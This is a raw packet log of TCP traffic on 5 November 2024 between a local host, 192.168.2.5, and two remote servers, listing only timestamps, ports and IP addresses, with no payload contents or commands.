Nov 5, 2024 10:13:16.390508890 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.390521049 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.390531063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.390561104 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.390583038 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.390671968 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.390683889 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.390693903 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.390731096 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.390741110 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.390750885 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.390758991 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.390774965 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.390800953 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.391098976 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.391168118 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.391177893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.391211987 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.391236067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.391251087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.391292095 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.391453981 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.391464949 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.391474962 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.391489029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.391515017 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.391529083 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.391885042 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.391916990 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.391937971 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.392719030 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.392745972 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.392781019 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.392793894 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.392817020 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.392833948 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.432522058 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.435496092 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.435506105 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.435553074 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.435668945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.435683012 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.435722113 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.435766935 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.435776949 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.435787916 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.435798883 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.435815096 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.435852051 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.436264992 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.436373949 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.436383963 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.436427116 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.436614990 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.436634064 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.436644077 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.436654091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.436659098 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.436672926 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.436865091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.436912060 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.436922073 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.436933041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.436943054 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.436948061 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.436969995 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.436984062 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.475986004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.476003885 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.476015091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.476054907 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.476399899 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.476412058 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.476423979 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.476455927 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.476479053 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.476483107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.476495028 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.476535082 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.507462978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.507483006 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.507610083 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.507620096 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.507631063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.507639885 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.507648945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.507653952 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.507661104 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.507672071 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.507692099 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.507708073 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.508069038 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.508080006 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.508090973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.508100986 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.508115053 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.508131981 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.508421898 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.508471966 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.508482933 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.508498907 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.508502960 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.508514881 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.508517981 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.508534908 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.511507988 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.511554956 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.511596918 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.511610985 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.511639118 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.511663914 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.550574064 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.550633907 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.552659988 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.552860975 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.552956104 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.552966118 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.552978039 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.552988052 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.552998066 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.553006887 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.553008080 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.553025961 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.553025007 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.553052902 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.553335905 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.553347111 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.553358078 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.553369045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.553376913 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.553417921 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.553776979 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.553788900 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.553807974 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.553817987 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.553828001 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.553829908 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.553853989 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.554323912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.554335117 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.554344893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.554372072 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.554392099 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.598795891 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.598826885 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.598836899 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.598926067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.598937035 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.598946095 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.598959923 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.598968983 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.598972082 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.599010944 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.624044895 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.624125004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.624138117 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.624150038 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.624161005 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.624166012 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.624198914 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.624294043 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.624332905 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.624344110 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.624388933 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.624418020 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.624681950 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.624691963 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.624701977 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.624728918 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.624744892 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.624754906 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.624803066 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.625222921 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.625235081 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.625243902 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.625302076 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.625498056 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.625510931 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.625521898 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.625566006 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.629955053 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.629976034 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.630018950 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.630026102 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.630044937 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.630054951 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.630089998 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.630095005 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.630124092 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.630214930 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.630716085 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.630728006 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.630738020 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.630742073 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.670404911 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.670423985 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.670435905 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.670490026 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.670509100 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.670519114 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.670531988 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.670550108 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.670553923 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.670562029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.670572042 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.670583010 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.670586109 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.670598984 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.670614958 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.670643091 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.671166897 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.671252966 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.671262980 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.671297073 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.671459913 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.671471119 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.671479940 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.671489954 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.671499968 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.671502113 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.671541929 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.671930075 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.671977043 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.671987057 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.671998978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.672086000 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.672097921 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.672117949 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.672131062 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.679929972 CET	49720	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.679968119 CET	443	49720	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.680049896 CET	49720	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.680336952 CET	49721	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.680351973 CET	443	49721	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.680409908 CET	49721	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.680850029 CET	49720	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.680862904 CET	443	49720	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.681855917 CET	49722	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.681865931 CET	443	49722	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.681946039 CET	49722	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.682029963 CET	49721	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.682044983 CET	443	49721	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.682096958 CET	49722	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.682109118 CET	443	49722	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.683418036 CET	49723	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.683424950 CET	443	49723	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.683492899 CET	49723	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.683587074 CET	49723	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.683598995 CET	443	49723	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.684395075 CET	49724	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.684420109 CET	443	49724	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.684681892 CET	49724	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.687736988 CET	49724	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.687748909 CET	443	49724	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.715565920 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.715610027 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.715617895 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.715672970 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.715683937 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.715692043 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.715749979 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.715780020 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.716005087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.716059923 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.716068983 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.716171026 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.740962982 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.741046906 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.741063118 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.741120100 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.741245031 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.741255045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.741266012 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.741313934 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.741348982 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.741364956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.741374969 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.741384029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.741394997 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.741399050 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.741419077 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.741430998 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.741972923 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.741983891 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.741993904 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.742012024 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.742053032 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.742063999 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.742074013 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.742084026 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.742093086 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.742113113 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.742140055 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.789279938 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789396048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789406061 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789417028 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789426088 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789434910 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789453030 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789458036 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.789464951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789474964 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789486885 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789498091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789504051 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.789513111 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789524078 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789525986 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.789537907 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789565086 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.789581060 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789592028 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789593935 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.789607048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789617062 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789627075 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789658070 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.789659023 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789673090 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789681911 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789693117 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789701939 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.789704084 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.789710999 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.789738894 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.790208101 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.832672119 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.832880020 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.832890987 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.832902908 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.832912922 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.832923889 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.832926989 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.832940102 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.832952023 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.832962036 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.832967043 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.832973003 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.833005905 CET	49712	80	192.168.2.5	185.215.113.16
